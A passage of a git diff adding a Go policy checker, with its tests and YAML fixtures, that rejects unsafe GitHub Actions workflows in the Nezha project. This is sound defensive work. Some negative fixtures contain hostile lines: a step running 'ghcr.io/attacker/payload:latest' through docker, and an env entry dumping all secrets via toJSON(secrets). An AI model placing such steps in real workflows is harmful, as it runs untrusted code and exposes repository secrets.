rejected("missing-persist-credentials.yml", workflowpolicy.RulePersistCredentials, "persist-credentials")) +} + +func TestPolicy_RejectsPersistCredentialsTrue(t *testing.T) { + assertFixtureRejected(t, rejected("persist-credentials-true.yml", workflowpolicy.RulePersistCredentials, "false")) +} + +func TestPolicy_RejectsMalformedYAML(t *testing.T) { + // Given + path := fixturePath(t, "malformed.yml") + + // When + err := workflowpolicy.VerifyFile(path, workflowpolicy.RepositoryNezha) + + // Then + var parseError *workflowpolicy.ParseError + require.ErrorAs(t, err, &parseError) + require.Contains(t, err.Error(), "parse workflow") +} + +func TestPolicy_RejectsDuplicateKeys(t *testing.T) { + // Given + path := fixturePath(t, "duplicate-jobs.yml") + + // When + err := workflowpolicy.VerifyFile(path, workflowpolicy.RepositoryNezha) + + // Then + var parseError *workflowpolicy.ParseError + require.ErrorAs(t, err, &parseError) + require.Contains(t, err.Error(), "duplicate key") +} + +func TestPolicy_RejectsYAMLAlias(t *testing.T) { + // Given + path := fixturePath(t, "yaml-alias.yml") + + // When + err := workflowpolicy.VerifyFile(path, workflowpolicy.RepositoryNezha) + + // Then + var parseError *workflowpolicy.ParseError + require.ErrorAs(t, err, &parseError) + require.Contains(t, err.Error(), "aliases are not allowed") +} + +func TestPolicy_RejectsTrailingEmptyYAMLDocument(t *testing.T) { + assertFixtureParseRejected(t, "trailing-empty-document.yml", "multiple YAML documents") +} + +func TestPolicy_RejectsBareYAMLAnchor(t *testing.T) { + assertFixtureParseRejected(t, "bare-anchor.yml", "anchors are not allowed") +} + +func TestPolicy_RejectsMalformedStepValues(t *testing.T) { + for _, fixture := range []string{"empty-step.yml", "empty-run.yml", "nonstring-run.yml", "empty-uses.yml"} { + t.Run(fixture, func(t *testing.T) { + assertFixtureRejected(t, rejected(fixture, workflowpolicy.RuleWorkflowStructure, "step")) + }) + } +} + +func TestPolicy_RejectsSecretTokenSources(t *testing.T) { + for _, fixture := range []string{"github-token.yml", "github-token-environment.yml"} { + t.Run(fixture, func(t *testing.T) { + assertFixtureRejected(t, rejected(fixture, workflowpolicy.RuleSecretContext, "token")) + }) + } +} + +func TestPolicy_RejectsNonBooleanConcurrencyCancellation(t *testing.T) { + assertFixtureRejected(t, rejected("nonboolean-concurrency-cancel.yml", workflowpolicy.RuleMissingConcurrency, "boolean")) +} + +func TestPolicy_RejectsMissingJobs(t *testing.T) { + assertFixtureRejected(t, rejected("missing-jobs.yml", workflowpolicy.RuleWorkflowStructure, "nonempty mapping")) +} + +func TestPolicy_RejectsNonmappingStep(t *testing.T) { + assertFixtureRejected(t, rejected("nonmapping-step.yml", workflowpolicy.RuleWorkflowStructure, "step must be a mapping")) +} + +func TestPolicy_RejectsNonsequenceSteps(t *testing.T) { + assertFixtureRejected(t, rejected("nonsequence-steps.yml", workflowpolicy.RuleWorkflowStructure, "steps must be a sequence")) +} + +func TestPolicy_MissingFutureWorkflowReturnsTypedReadError(t *testing.T) { + // Given + path := filepath.Join(t.TempDir(), "agent-compatibility.yml") + + // When + err := workflowpolicy.VerifyFile(path, workflowpolicy.RepositoryNezha) + + // Then + var readError *workflowpolicy.ReadError + require.ErrorAs(t, err, &readError) + require.ErrorIs(t, err, os.ErrNotExist) +} + +func TestPolicy_RejectsUnsupportedRepositoryBeforeWorkflowChecks(t *testing.T) { + // Given + data, err := os.ReadFile(fixturePath(t, "secure-nezha.yml")) + require.NoError(t, err) + + // When + err = workflowpolicy.Verify(data, workflowpolicy.Repository("attacker/fork")) + + // Then + var policyError *workflowpolicy.PolicyError + require.ErrorAs(t, err, &policyError) + require.True(t, policyError.Has(workflowpolicy.RuleRepositoryNotAllowed)) +} + +type rejectionExpectation struct { + fixture string + repository workflowpolicy.Repository + rule workflowpolicy.Rule + diagnostic string +} + +func rejected(fixture string, rule workflowpolicy.Rule, diagnostic string) rejectionExpectation { + return rejectionExpectation{fixture: fixture, repository: workflowpolicy.RepositoryNezha, rule: rule, diagnostic: diagnostic} +} + +func assertFixtureRejected(t *testing.T, expectation rejectionExpectation) { + t.Helper() + + // Given + path := fixturePath(t, expectation.fixture) + + // When + err := workflowpolicy.VerifyFile(path, expectation.repository) + + // Then + var policyError *workflowpolicy.PolicyError + require.ErrorAs(t, err, &policyError) + require.True(t, policyError.Has(expectation.rule), "diagnostic: %v", err) + require.Contains(t, err.Error(), expectation.diagnostic) +} + +func assertFixtureParseRejected(t *testing.T, fixture string, diagnostic string) { + t.Helper() + err := workflowpolicy.VerifyFile(fixturePath(t, fixture), workflowpolicy.RepositoryNezha) + var parseError *workflowpolicy.ParseError + require.ErrorAs(t, err, &parseError) + require.Contains(t, err.Error(), diagnostic) +} + +func fixturePath(t *testing.T, name string) string { + t.Helper() + return filepath.Join("testdata", name) +} + +func mappingNodeValue(node *yaml.Node, key string) *yaml.Node { + for index := 0; index < len(node.Content); index += 2 { + if node.Content[index].Value == key { + return node.Content[index+1] + } + } + return nil +} + +func scalarValues(node *yaml.Node) []string { + values := make([]string, 0, len(node.Content)) + for _, child := range node.Content { + values = append(values, child.Value) + } + return values +} + +func requireTypedPolicyError(t *testing.T, err error, rule workflowpolicy.Rule) *workflowpolicy.PolicyError { + t.Helper() + var policyError *workflowpolicy.PolicyError + require.True(t, errors.As(err, &policyError), "expected typed policy error, got %T: %v", err, err) + require.True(t, policyError.Has(rule), "diagnostic: %v", err) + return policyError +} diff --git a/integration/agentcompat/internal/workflowpolicy/quality_workflow_test.go b/integration/agentcompat/internal/workflowpolicy/quality_workflow_test.go new file mode 100644 index 00000000..5ba7917d --- /dev/null +++ b/integration/agentcompat/internal/workflowpolicy/quality_workflow_test.go @@ -0,0 +1,212 @@ +package workflowpolicy_test + +import ( + "os" + "path/filepath" + "strings" + "testing" + + "github.com/nezhahq/nezha/integration/agentcompat/internal/workflowpolicy" + "github.com/stretchr/testify/require" + "gopkg.in/yaml.v3" +) + +func TestPolicy_NezhaQualityWorkflow(t *testing.T) { + // Given + path := filepath.Join(repositoryRoot(t), ".github", "workflows", "test.yml") + data, err := os.ReadFile(path) + require.NoError(t, err) + require.NoError(t, workflowpolicy.Verify(data, workflowpolicy.RepositoryNezha)) + var document yaml.Node + require.NoError(t, yaml.Unmarshal(data, &document)) + root := document.Content[0] + var workflow qualityWorkflow + require.NoError(t, yaml.Unmarshal(data, &workflow)) + + // When + jobs := mappingNodeValue(root, "jobs") + aggregator := mappingNodeValue(jobs, "nezha-quality-required") + needs := mappingNodeValue(aggregator, "needs") + + // Then + triggers := mappingNodeValue(root, "on") + require.NotNil(t, mappingNodeValue(triggers, "merge_group")) + require.Equal(t, []string{"master"}, workflow.Triggers.Push.Branches) + require.Empty(t, workflow.Triggers.Push.Paths) + require.Equal(t, []string{"master"}, workflow.Triggers.PullRequest.Branches) + require.Empty(t, workflow.Triggers.PullRequest.Paths) + require.Equal(t, map[string]string{"contents": "read"}, workflow.Permissions) + require.NotEmpty(t, workflow.Concurrency.Group) + require.NotNil(t, workflow.Concurrency.CancelInProgress) + require.True(t, *workflow.Concurrency.CancelInProgress) + require.Len(t, workflow.Jobs, 4) + + ordinaryJob := workflow.Jobs["tests"] + require.Equal(t, []string{"ubuntu-latest", "windows-latest", "macos-latest"}, ordinaryJob.Strategy.Matrix.OS) + require.NotNil(t, ordinaryJob.Strategy.FailFast) + require.False(t, *ordinaryJob.Strategy.FailFast) + require.Equal(t, "${{ matrix.os }}", ordinaryJob.RunsOn) + require.Equal(t, 30, ordinaryJob.TimeoutMinutes) + requireCheckoutAndSetupGo(t, ordinaryJob.Steps) + require.Equal(t, strings.Join([]string{ + "go install github.com/swaggo/swag/cmd/swag@v1.16.6", + "touch ./cmd/dashboard/user-dist/a", + "touch ./cmd/dashboard/admin-dist/a", + "swag init --pd -d cmd/dashboard -g main.go -o cmd/dashboard/docs", + }, "\n"), strings.TrimSpace(ordinaryJob.stepNamed(t, "Generate Swagger docs").Run)) + require.Equal(t, "go test -mod=readonly -count=1 ./...", ordinaryJob.stepNamed(t, "Unit test").Run) + require.Equal(t, "go build -v ./cmd/dashboard", ordinaryJob.stepNamed(t, "Build dashboard").Run) + + linuxJob := workflow.Jobs["linux-race-quality"] + require.Equal(t, "ubuntu-24.04", linuxJob.RunsOn) + require.Equal(t, 45, linuxJob.TimeoutMinutes) + requireCheckoutAndSetupGo(t, linuxJob.Steps) + require.Equal(t, ordinaryJob.stepNamed(t, "Generate Swagger docs").Run, linuxJob.stepNamed(t, "Generate Swagger docs").Run) + require.Equal(t, "go test -mod=readonly -race -shuffle=on -count=1 ./...", linuxJob.stepNamed(t, "Race and shuffle tests").Run) + require.Equal(t, "go vet ./...", linuxJob.stepNamed(t, "Vet").Run) + require.Equal(t, "test -z \"$(git ls-files -co --exclude-standard '*.go' -z | xargs -0 gofmt -l)\"", linuxJob.stepNamed(t, "Check formatting").Run) + require.Equal(t, "go build ./cmd/dashboard", linuxJob.stepNamed(t, "Build dashboard").Run) + gosecStep := linuxJob.stepNamed(t, "Run Gosec Security Scanner") + require.Equal(t, "auto", gosecStep.Env.GoToolchain) + require.Equal(t, strings.Join([]string{ + "go install github.com/securego/gosec/v2/cmd/gosec@v2.27.1", + "gosec --exclude=G104,G115,G117,G203,G402,G703,G704 ./...", + }, "\n"), strings.TrimSpace(gosecStep.Run)) + + require.Len(t, scalarValues(needs), 3) + require.ElementsMatch(t, []string{"tests", "linux-race-quality", "agentcompat-stress"}, scalarValues(needs)) + require.Equal(t, "nezha-quality-required", workflow.Jobs["nezha-quality-required"].Name) + require.Equal(t, "${{ always() }}", mappingNodeValue(aggregator, "if").Value) + steps := mappingNodeValue(aggregator, "steps") + require.Len(t, steps.Content, 1) + require.Equal(t, strings.Join([]string{ + "test \"${{ needs.tests.result }}\" = success", + "test \"${{ needs.linux-race-quality.result }}\" = success", + "test \"${{ needs.agentcompat-stress.result }}\" = success", + }, "\n"), strings.TrimSpace(mappingNodeValue(steps.Content[0], "run").Value)) +} + +type qualityWorkflow struct { + Triggers qualityTriggers `yaml:"on"` + Permissions map[string]string `yaml:"permissions"` + Concurrency qualityConcurrency `yaml:"concurrency"` + Jobs map[string]qualityJob `yaml:"jobs"` +} + +type qualityTriggers struct { + Push qualityBranchTrigger `yaml:"push"` + PullRequest qualityBranchTrigger `yaml:"pull_request"` +} + +type qualityBranchTrigger struct { + Branches []string `yaml:"branches"` + Paths []string `yaml:"paths"` +} + +type qualityConcurrency struct { + Group string `yaml:"group"` + CancelInProgress *bool `yaml:"cancel-in-progress"` +} + +type qualityJob struct { + Name string `yaml:"name"` + Strategy qualityStrategy `yaml:"strategy"` + RunsOn string `yaml:"runs-on"` + TimeoutMinutes int `yaml:"timeout-minutes"` + Steps []qualityStep `yaml:"steps"` +} + +type qualityStrategy struct { + FailFast *bool `yaml:"fail-fast"` + Matrix qualityMatrix `yaml:"matrix"` +} + +type qualityMatrix struct { + OS []string `yaml:"os"` +} + +type qualityStep struct { + Name string `yaml:"name"` + Uses string `yaml:"uses"` + Run string `yaml:"run"` + WorkingDirectory string `yaml:"working-directory"` + Env qualityEnv `yaml:"env"` + With qualityWith `yaml:"with"` +} + +type qualityEnv struct { + GoToolchain string `yaml:"GOTOOLCHAIN"` + AgentcompatNezhaSource string `yaml:"AGENTCOMPAT_NEZHA_SOURCE"` + AgentcompatAgentSource string `yaml:"AGENTCOMPAT_AGENT_SOURCE"` +} + +type qualityWith struct { + PersistCredentials *bool `yaml:"persist-credentials"` + GoVersion string `yaml:"go-version"` + Cache *bool `yaml:"cache"` + Repository string `yaml:"repository"` + Ref string `yaml:"ref"` + Path string `yaml:"path"` +} + +func (j qualityJob) stepNamed(t *testing.T, name string) qualityStep { + t.Helper() + for _, step := range j.Steps { + if step.Name == name { + return step + } + } + t.Fatalf("workflow job is missing step %q", name) + return qualityStep{} +} + +func requireCheckoutAndSetupGo(t *testing.T, steps []qualityStep) { + t.Helper() + require.GreaterOrEqual(t, len(steps), 2) + checkout := steps[0] + require.Equal(t, "actions/checkout@9c091bb21b7c1c1d1991bb908d89e4e9dddfe3e0", checkout.Uses) + require.NotNil(t, checkout.With.PersistCredentials) + require.False(t, *checkout.With.PersistCredentials) + setupGo := steps[1] + require.Equal(t, "actions/setup-go@924ae3a1cded613372ab5595356fb5720e22ba16", setupGo.Uses) + require.Equal(t, "1.26.x", setupGo.With.GoVersion) + require.NotNil(t, setupGo.With.Cache) + require.False(t, *setupGo.With.Cache) +} + +func TestPolicy_AcceptsWorkflowWithoutTestsOrRequiredAggregator(t *testing.T) { + // Given + data, err := os.ReadFile(fixturePath(t, "quality-only.yml")) + require.NoError(t, err) + + // When + err = workflowpolicy.Verify(data, workflowpolicy.RepositoryNezha) + + // Then + require.NoError(t, err) +} + +func readNezhaQualityWorkflow(t *testing.T) []byte { + t.Helper() + data, err := os.ReadFile(filepath.Join(repositoryRoot(t), ".github", "workflows", "test.yml")) + require.NoError(t, err) + return data +} + +func repositoryRoot(t *testing.T) string { + t.Helper() + current, err := os.Getwd() + require.NoError(t, err) + for { + goModule, readError := os.ReadFile(filepath.Join(current, "go.mod")) + if readError == nil && strings.HasPrefix(string(goModule), "module github.com/nezhahq/nezha\n") { + return current + } + if readError != nil && !os.IsNotExist(readError) { + require.NoError(t, readError) + } + parent := filepath.Dir(current) + require.NotEqual(t, current, parent, "repository root containing go.mod was not found") + current = parent + } +} diff --git a/integration/agentcompat/internal/workflowpolicy/required_aggregator.go b/integration/agentcompat/internal/workflowpolicy/required_aggregator.go new file mode 100644 index 00000000..7fb478e4 --- /dev/null +++ b/integration/agentcompat/internal/workflowpolicy/required_aggregator.go @@ -0,0 +1,86 @@ +package workflowpolicy + +import ( + "strings" + + "gopkg.in/yaml.v3" +) + +func (c *checker) checkRequiredAggregator(jobs *yaml.Node) { + aggregatorName := map[Repository]string{ + RepositoryAgent: "agent-quality-required", RepositoryNezha: "nezha-quality-required", + }[c.repository] + if aggregatorName == "" { + return + } + _, hasTestsJob := mappingValue(jobs, "tests") + _, hasQualityJob := mappingValue(jobs, "linux-race-quality") + if !hasTestsJob || !hasQualityJob { + return + } + requiredJobs := []string{"tests", "linux-race-quality", "agentcompat-stress"} + aggregator, hasAggregator := mappingValue(jobs, aggregatorName) + if !hasAggregator || aggregator.Kind != yaml.MappingNode { + c.reject(RuleWorkflowStructure, at("$.jobs."+aggregatorName, jobs), "required quality aggregator is missing") + return + } + needs, hasNeeds := mappingValue(aggregator, "needs") + if !hasNeeds || !hasExactRequiredNeeds(needs, requiredJobs) { + c.reject(RuleWorkflowStructure, at("$.jobs."+aggregatorName+".needs", aggregator), "required quality aggregator needs must include every blocking job exactly once") + } + condition, hasCondition := mappingValue(aggregator, "if") + if !hasCondition || !isAlwaysCondition(condition) { + c.reject(RuleWorkflowStructure, at("$.jobs."+aggregatorName+".if", aggregator), "required quality aggregator must use if: always()") + } + steps, hasSteps := mappingValue(aggregator, "steps") + if !hasSteps || !hasRequiredSuccessChecks(steps, requiredJobs) { + c.reject(RuleWorkflowStructure, at("$.jobs."+aggregatorName+".steps", aggregator), "required quality aggregator must test every blocking job result for success") + } +} + +func hasExactRequiredNeeds(node *yaml.Node, requiredJobs []string) bool { + if node == nil || node.Kind != yaml.SequenceNode || len(node.Content) != len(requiredJobs) { + return false + } + required := make(map[string]struct{}, len(requiredJobs)) + for _, jobName := range requiredJobs { + required[jobName] = struct{}{} + } + for _, valueNode := range node.Content { + value, literal := scalarString(valueNode) + if !literal { + return false + } + delete(required, value) + } + return len(required) == 0 +} + +func isAlwaysCondition(node *yaml.Node) bool { + condition, literal := scalarString(node) + condition = strings.TrimSpace(condition) + return literal && (condition == "always()" || condition == "${{ always() }}") +} + +func hasRequiredSuccessChecks(steps *yaml.Node, requiredJobs []string) bool { + if steps == nil || steps.Kind != yaml.SequenceNode || len(steps.Content) != 1 { + return false + } + run, hasRun := mappingValue(steps.Content[0], "run") + command, literal := scalarString(run) + if !hasRun || !literal { + return false + } + lines := strings.Split(strings.TrimSpace(command), "\n") + if len(lines) != len(requiredJobs) { + return false + } + requiredChecks := make(map[string]struct{}, len(requiredJobs)) + for _, jobName := range requiredJobs { + requiredChecks[`test "${{ needs.`+jobName+`.result }}" = success`] = struct{}{} + } + for _, line := range lines { + delete(requiredChecks, strings.TrimSpace(line)) + } + return len(requiredChecks) == 0 +} diff --git a/integration/agentcompat/internal/workflowpolicy/required_aggregator_test.go b/integration/agentcompat/internal/workflowpolicy/required_aggregator_test.go new file mode 100644 index 00000000..15157041 --- /dev/null +++ b/integration/agentcompat/internal/workflowpolicy/required_aggregator_test.go @@ -0,0 +1,103 @@ +package workflowpolicy_test + +import ( + "os" + "strings" + "testing" + + "github.com/nezhahq/nezha/integration/agentcompat/internal/workflowpolicy" + "github.com/stretchr/testify/require" +) + +func TestPolicy_RejectsMissingRequiredDependency(t *testing.T) { + // Given + data, err := os.ReadFile(fixturePath(t, "missing-required-dependency.yml")) + require.NoError(t, err) + + // When + err = workflowpolicy.Verify(data, workflowpolicy.RepositoryNezha) + + // Then + var policyError *workflowpolicy.PolicyError + require.ErrorAs(t, err, &policyError) + require.True(t, policyError.Has(workflowpolicy.RuleWorkflowStructure)) +} + +func TestPolicy_RejectsInvalidRequiredAggregator(t *testing.T) { + tests := []struct { + name string + currentText string + invalidText string + }{ + { + name: "missing tests dependency", + currentText: "needs:\n - tests\n - linux-race-quality\n - agentcompat-stress", + invalidText: "needs:\n - linux-race-quality\n - agentcompat-stress", + }, + { + name: "extra dependency", + currentText: " - agentcompat-stress\n runs-on:", + invalidText: " - agentcompat-stress\n - unrelated-job\n runs-on:", + }, + { + name: "missing stress dependency", + currentText: " - linux-race-quality\n - agentcompat-stress", + invalidText: " - linux-race-quality", + }, + { + name: "missing always condition", + currentText: "if: ${{ always() }}", + invalidText: "if: ${{ success() }}", + }, + { + name: "tests result only mentioned", + currentText: "test \"${{ needs.tests.result }}\" = success", + invalidText: "printf '%s success\\n' \"${{ needs.tests.result }}\"", + }, + { + name: "quality result only mentioned", + currentText: "test \"${{ needs.linux-race-quality.result }}\" = success", + invalidText: "printf '%s success\\n' \"${{ needs.linux-race-quality.result }}\"", + }, + { + name: "stress result only mentioned", + currentText: "test \"${{ needs.agentcompat-stress.result }}\" = success", + invalidText: "printf '%s success\\n' \"${{ needs.agentcompat-stress.result }}\"", + }, + { + name: "success checks defined but not executed", + currentText: strings.Join([]string{ + "test \"${{ needs.tests.result }}\" = success", + "test \"${{ needs.linux-race-quality.result }}\" = success", + "test \"${{ needs.agentcompat-stress.result }}\" = success", + }, "\n "), + invalidText: strings.Join([]string{ + "check_results() {", + " test \"${{ needs.tests.result }}\" = success", + " test \"${{ needs.linux-race-quality.result }}\" = success", + " test \"${{ needs.agentcompat-stress.result }}\" = success", + "}", + }, "\n "), + }, + } + for _, test := range tests { + t.Run(test.name, func(t *testing.T) { + // Given + data := readNezhaQualityWorkflow(t) + invalidWorkflow := strings.Replace(string(data), test.currentText, test.invalidText, 1) + require.NotEqual(t, string(data), invalidWorkflow, "workflow mutation must match current content") + + // When + err := workflowpolicy.Verify([]byte(invalidWorkflow), workflowpolicy.RepositoryNezha) + + // Then + var policyError *workflowpolicy.PolicyError + require.ErrorAs(t, err, &policyError) + require.True(t, policyError.Has(workflowpolicy.RuleWorkflowStructure)) + }) + } +} + +func TestPolicy_RejectsMissingRequiredAggregator(t *testing.T) { + assertFixtureRejected(t, rejected("missing-required-aggregator.yml", workflowpolicy.RuleWorkflowStructure, "aggregator is missing")) +} diff --git a/integration/agentcompat/internal/workflowpolicy/resolver.go b/integration/agentcompat/internal/workflowpolicy/resolver.go new file mode 100644 index 00000000..978e1027 --- /dev/null +++ b/integration/agentcompat/internal/workflowpolicy/resolver.go @@ -0,0 +1,62 @@ +package workflowpolicy + +import ( + "regexp" + "strings" + + "gopkg.in/yaml.v3" +) + +var ( + resolvedRefPattern = regexp.MustCompile(`^\$\{\{\s*steps\.([A-Za-z0-9_-]+)\.outputs\.sha\s*\}\}$`) + resolverRemotePattern = regexp.MustCompile(`(?m)^\s*remote=['"]https://github\.com/(nezhahq/(?:agent|nezha))\.git['"]\s*$`) +) + +type refResolver struct { + id string + repository Repository +} + +func validatedRefResolver(step *yaml.Node) (refResolver, bool) { + idNode, hasID := mappingValue(step, "id") + runNode, hasRun := mappingValue(step, "run") + id, literalID := scalarString(idNode) + command, literalRun := scalarString(runNode) + if !hasID || !hasRun || !literalID || !literalRun || strings.TrimSpace(id) == "" { + return refResolver{}, false + } + lines := make([]string, 0, 7) + for _, line := range strings.Split(command, "\n") { + trimmed := strings.TrimSpace(line) + if trimmed != "" { + lines = append(lines, trimmed) + } + } + if len(lines) != 7 || lines[0] != "set -euo pipefail" { + return refResolver{}, false + } + remoteMatch := resolverRemotePattern.FindStringSubmatch(lines[1]) + if len(remoteMatch) != 2 { + return refResolver{}, false + } + repository := Repository(remoteMatch[1]) + branch := "main" + if repository == RepositoryNezha { + branch = "master" + } + expectedLines := []string{ + lines[0], + lines[1], + "mapfile -t refs < <(git ls-remote \"$remote\" refs/heads/" + branch + ")", + "(( ${#refs[@]} == 1 ))", + "sha=${refs[0]%%$'\\t'*}", + `[[ "$sha" =~ ^[0-9a-f]{40}$ ]]`, + `printf 'sha=%s\n' "$sha" >> "$GITHUB_OUTPUT"`, + } + for index, expected := range expectedLines { + if lines[index] != expected { + return refResolver{}, false + } + } + return refResolver{id: id, repository: repository}, true +} diff --git a/integration/agentcompat/internal/workflowpolicy/runner.go b/integration/agentcompat/internal/workflowpolicy/runner.go new file mode 100644 index 00000000..a6c830f4 --- /dev/null +++ b/integration/agentcompat/internal/workflowpolicy/runner.go @@ -0,0 +1,92 @@ +package workflowpolicy + +import ( + "regexp" + "strings" + + "gopkg.in/yaml.v3" +) + +var matrixRunnerPattern = regexp.MustCompile(`^\$\{\{\s*matrix\.([A-Za-z0-9_-]+)\s*\}\}$`) +var githubHostedRunnerPattern = regexp.MustCompile(`^(?:ubuntu|windows|macos)(?:-[A-Za-z0-9.]+)?$`) + +func (c *checker) checkRunner(jobPath string, job *yaml.Node) { + runner, exists := mappingValue(job, "runs-on") + if !exists { + c.reject(RuleSelfHostedRunner, at(jobPath+".runs-on", job), "jobs must declare a literal GitHub-hosted runner") + return + } + if containsScalar(runner, "self-hosted") { + c.reject(RuleSelfHostedRunner, at(jobPath+".runs-on", runner), "self-hosted runners are forbidden") + return + } + if runner.Kind == yaml.SequenceNode { + if containsExpression(runner) || !allGitHubHostedLabels(runner) { + c.reject(RuleSelfHostedRunner, at(jobPath+".runs-on", runner), "runs-on entries must be literal GitHub-hosted labels") + } + return + } + runnerValue, literal := scalarString(runner) + if !literal { + c.reject(RuleSelfHostedRunner, at(jobPath+".runs-on", runner), "runs-on must be a literal GitHub-hosted runner or static matrix axis") + return + } + if !strings.Contains(runnerValue, "${{") { + if !githubHostedRunnerPattern.MatchString(runnerValue) { + c.reject(RuleSelfHostedRunner, at(jobPath+".runs-on", runner), "runs-on must use a GitHub-hosted runner") + } + return + } + matrixMatch := matrixRunnerPattern.FindStringSubmatch(runnerValue) + if len(matrixMatch) != 2 { + c.reject(RuleSelfHostedRunner, at(jobPath+".runs-on", runner), "runs-on must be a literal GitHub-hosted runner or static matrix axis") + return + } + strategy, hasStrategy := mappingValue(job, "strategy") + matrix, hasMatrix := mappingValue(strategy, "matrix") + if include, hasInclude := mappingValue(matrix, "include"); hasInclude { + c.reject(RuleSelfHostedRunner, at(jobPath+".strategy.matrix.include", include), "matrix include is forbidden for runner selection") + return + } + runnerAxis, hasRunnerAxis := mappingValue(matrix, matrixMatch[1]) + if !hasStrategy || !hasMatrix || !hasRunnerAxis || containsExpression(runnerAxis) || !allGitHubHostedLabels(runnerAxis) { + c.reject(RuleSelfHostedRunner, at(jobPath+".runs-on", runner), "runs-on matrix axis must contain only literal GitHub-hosted labels") + return + } + if containsScalar(runnerAxis, "self-hosted") { + c.reject(RuleSelfHostedRunner, at(jobPath+".strategy.matrix."+matrixMatch[1], runnerAxis), "self-hosted runners are forbidden") + } +} + +func allGitHubHostedLabels(node *yaml.Node) bool { + valid := true + walkScalars(node, func(scalar *yaml.Node) { + if !githubHostedRunnerPattern.MatchString(scalar.Value) { + valid = false + } + }) + return valid +} + +func containsExpression(node *yaml.Node) bool { + found := false + walkScalars(node, func(scalar *yaml.Node) { + if strings.Contains(scalar.Value, "${{") { + found = true + } + }) + return found +} + +func (c *checker) checkRequiredCacheDisabled(path string, step *yaml.Node) { + with, hasWith := mappingValue(step, "with") + cache, hasCache := mappingValue(with, "cache") + if hasWith && hasCache && explicitFalse(cache) { + return + } + node := step + if hasCache { + node = cache + } + c.reject(RuleReusableExecutable, at(path+".with.cache", node), "actions/setup-go requires cache: false") +} diff --git a/integration/agentcompat/internal/workflowpolicy/stress_workflow_test.go b/integration/agentcompat/internal/workflowpolicy/stress_workflow_test.go new file mode 100644 index 00000000..3396f13e --- /dev/null +++ b/integration/agentcompat/internal/workflowpolicy/stress_workflow_test.go @@ -0,0 +1,56 @@ +package workflowpolicy_test + +import ( + "testing" + + "github.com/stretchr/testify/require" + "gopkg.in/yaml.v3" +) + +const agentcompatStressTestName = "TestStressPRFullEightAgentExactlyOnce" + +func TestPolicy_NezhaStressWorkflowRunsPinnedCrossRepositoryTest(t *testing.T) { + // Given + data := readNezhaQualityWorkflow(t) + var workflow qualityWorkflow + require.NoError(t, yaml.Unmarshal(data, &workflow)) + + // When + stressJob, exists := workflow.Jobs["agentcompat-stress"] + + // Then + require.True(t, exists) + require.Equal(t, "Linux agent compatibility stress", stressJob.Name) + require.Equal(t, "ubuntu-24.04", stressJob.RunsOn) + require.Equal(t, 75, stressJob.TimeoutMinutes) + require.Len(t, stressJob.Steps, 5) + + nezhaCheckout := stressJob.stepNamed(t, "Checkout Nezha revision") + require.Equal(t, "actions/checkout@9c091bb21b7c1c1d1991bb908d89e4e9dddfe3e0", nezhaCheckout.Uses) + require.Empty(t, nezhaCheckout.With.Repository) + require.Empty(t, nezhaCheckout.With.Ref) + require.Equal(t, "nezha", nezhaCheckout.With.Path) + require.False(t, *nezhaCheckout.With.PersistCredentials) + + agentCheckout := stressJob.stepNamed(t, "Checkout pinned Agent revision") + require.Equal(t, "actions/checkout@9c091bb21b7c1c1d1991bb908d89e4e9dddfe3e0", agentCheckout.Uses) + require.Equal(t, "nezhahq/agent", agentCheckout.With.Repository) + require.Equal(t, "667e1dd5e166ffef808ec26dc20de85bc33a0a0f", agentCheckout.With.Ref) + require.Equal(t, "agent", agentCheckout.With.Path) + require.False(t, *agentCheckout.With.PersistCredentials) + + setupGo := stressJob.stepNamed(t, "Set up Go") + require.Equal(t, "actions/setup-go@924ae3a1cded613372ab5595356fb5720e22ba16", setupGo.Uses) + require.Equal(t, "1.26.x", setupGo.With.GoVersion) + require.False(t, *setupGo.With.Cache) + + listStep := stressJob.stepNamed(t, "Require named stress test") + require.Equal(t, "nezha", listStep.WorkingDirectory) + require.Equal(t, "go test -mod=readonly -tags=agentcompat -list '^"+agentcompatStressTestName+"$' ./integration/agentcompat/internal/scenario | grep -Fx '"+agentcompatStressTestName+"'", listStep.Run) + + runStep := stressJob.stepNamed(t, "Run PR-full agent compatibility stress") + require.Equal(t, "nezha", runStep.WorkingDirectory) + require.Equal(t, "${{ github.workspace }}/nezha", runStep.Env.AgentcompatNezhaSource) + require.Equal(t, "${{ github.workspace }}/agent", runStep.Env.AgentcompatAgentSource) + require.Equal(t, "go test -mod=readonly -tags=agentcompat -run '^"+agentcompatStressTestName+"$' -count=1 -v ./integration/agentcompat/internal/scenario", runStep.Run) +} diff --git a/integration/agentcompat/internal/workflowpolicy/testdata/absolute-docker.yml b/integration/agentcompat/internal/workflowpolicy/testdata/absolute-docker.yml new file mode 100644 index 00000000..d77d2d0a --- /dev/null +++ b/integration/agentcompat/internal/workflowpolicy/testdata/absolute-docker.yml @@ -0,0 +1,11 @@ +on: + pull_request: +concurrency: policy +permissions: + contents: read +jobs: + verify: + runs-on: ubuntu-24.04 + timeout-minutes: 10 + steps: + - run: /usr/bin/docker run --rm ghcr.io/attacker/payload:latest diff --git a/integration/agentcompat/internal/workflowpolicy/testdata/aggregate-secret-context.yml b/integration/agentcompat/internal/workflowpolicy/testdata/aggregate-secret-context.yml new file mode 100644 index 00000000..6183700b --- /dev/null +++ b/integration/agentcompat/internal/workflowpolicy/testdata/aggregate-secret-context.yml @@ -0,0 +1,13 @@ +on: + pull_request: +concurrency: policy +permissions: + contents: read +jobs: + verify: + runs-on: ubuntu-24.04 + timeout-minutes: 10 + env: + ALL_SECRETS: ${{ toJSON(secrets) }} + steps: + - run: go test ./... diff --git a/integration/agentcompat/internal/workflowpolicy/testdata/alternate-absolute-docker.yml b/integration/agentcompat/internal/workflowpolicy/testdata/alternate-absolute-docker.yml new file mode 100644 index 00000000..26acddc0 --- /dev/null +++ b/integration/agentcompat/internal/workflowpolicy/testdata/alternate-absolute-docker.yml @@ -0,0 +1,11 @@ +on: + pull_request: +concurrency: policy +permissions: + contents: read +jobs: + verify: + runs-on: ubuntu-24.04 + timeout-minutes: 10 + steps: + - run: /bin/docker run --rm ghcr.io/attacker/payload:latest diff --git a/integration/agentcompat/internal/workflowpolicy/testdata/and-if-condition-failure.yml b/integration/agentcompat/internal/workflowpolicy/testdata/and-if-condition-failure.yml new file mode 100644 index 00000000..bd25f91e --- /dev/null +++ b/integration/agentcompat/internal/workflowpolicy/testdata/and-if-condition-failure.yml @@ -0,0 +1,14 @@ +on: + pull_request: +concurrency: policy +permissions: + contents: read +jobs: + verify: + runs-on: ubuntu-24.04 + timeout-minutes: 10 + steps: + - run: | + true && if false; then + echo ignored + fi diff --git a/integration/agentcompat/internal/workflowpolicy/testdata/artifact-without-redaction.yml 